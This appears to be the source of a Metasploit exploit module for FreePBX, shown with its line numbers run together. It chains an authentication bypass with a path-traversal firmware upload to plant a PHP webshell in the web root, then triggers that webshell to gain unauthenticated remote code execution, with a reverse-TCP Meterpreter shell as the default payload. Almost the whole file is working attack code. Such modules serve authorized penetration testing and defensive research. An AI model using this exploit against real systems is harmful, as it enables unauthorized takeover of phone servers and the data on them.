Path: blob/master/modules/exploits/unix/http/freepbx_firmware_file_upload.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FreePBX firmware file upload',16'Description' => %q{17The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.18},19'License' => MSF_LICENSE,20'Author' => [21'Noah King', # research22'msutovsky-r7' # module23],24'References' => [25[ 'CVE', '2025-66039'], # Authentication Bypass26[ 'CVE', '2025-61678'], # File Upload and Path Traversal27[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']28],29'Platform' => ['php'],30'Targets' => [31[32'PHP',33{34'Platform' => 'php',35'Arch' => ARCH_PHP,36'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },37'Type' => :php38}39]40],41'DisclosureDate' => '2025-12-11',42'DefaultTarget' => 0,43'Notes' => {44'Stability' => [CRASH_SAFE],45'Reliability' => [REPEATABLE_SESSION],46'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]47}48)49)5051register_options(52[53OptString.new('USERNAME', [true, 'A valid FreePBX user']),54]55)56end5758def check59res = send_request_cgi({60'uri' => normalize_uri('admin', 'config.php'),61'method' => 'GET'62})6364if (res&.code == 401 && res.body.include?('FreePBX')) ||65(res.code == 500)66return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')67end6869CheckCode::Safe('Webserver authorization mode is not set')70end7172def get_session_cookie73res = send_request_cgi({74'uri' => normalize_uri('admin', 'config.php'),75'method' => 'GET',76'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },77'keep_cookies' => true78})7980fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 4018182fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies83end8485def upload_webshell86@target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)87@target_dir = Rex::Text.rand_text_alphanumeric(8).downcase8889form_data = Rex::MIME::Message.new9091form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')92form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')93form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')94form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')95form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')96form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')97form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')98form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')99form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')100form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))101102res = send_request_cgi({103'uri' => normalize_uri('admin', 'ajax.php'),104'method' => 'POST',105'headers' => {106'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),107'Referer' => full_uri(normalize_uri('admin', 'config.php'))108},109'ctype' => "multipart/form-data; boundary=#{form_data.bound}",110'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },111'data' => form_data.to_s112})113114fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500115register_dir_for_cleanup("../#{@target_dir}")116end117118def trigger_payload119send_request_cgi({120'uri' => normalize_uri(@target_dir, @target_payload_file_name),121'method' => 'GET'122})123end124125def exploit126print_status('Trying to bypass authentication...')127get_session_cookie128129print_good('Bypass successful, trying upload webshell...')130131upload_webshell132133print_good('Upload successful, triggering...')134135trigger_payload136end137end138139140